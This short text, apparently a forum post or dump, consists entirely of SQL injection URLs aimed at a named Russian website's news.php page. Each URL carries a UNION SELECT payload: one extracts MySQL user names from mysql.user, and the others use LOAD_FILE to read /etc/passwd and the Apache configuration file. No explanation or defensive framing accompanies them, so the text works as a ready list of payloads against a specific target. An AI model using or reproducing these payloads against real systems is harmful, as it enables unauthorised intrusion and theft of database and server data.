http://astrabroker.ru/news/news.php?id=-99+union+select+1,2,3,AES_DECRYPT(%20AES_ENCRYPT(U SER,0x71),0x71),5+from+mysql.user+limit+1,1/*

http://astrabroker.ru/news/news.php?id=-99+union+select+1,2,3,LOAD_FILE('/etc/passwd'),5/*

http://astrabroker.ru/news/news.php?id=-99+union+select+1,2,3,LOAD_FILE('/usr/local/apache/conf/httpd.conf'),5/*

etc... .)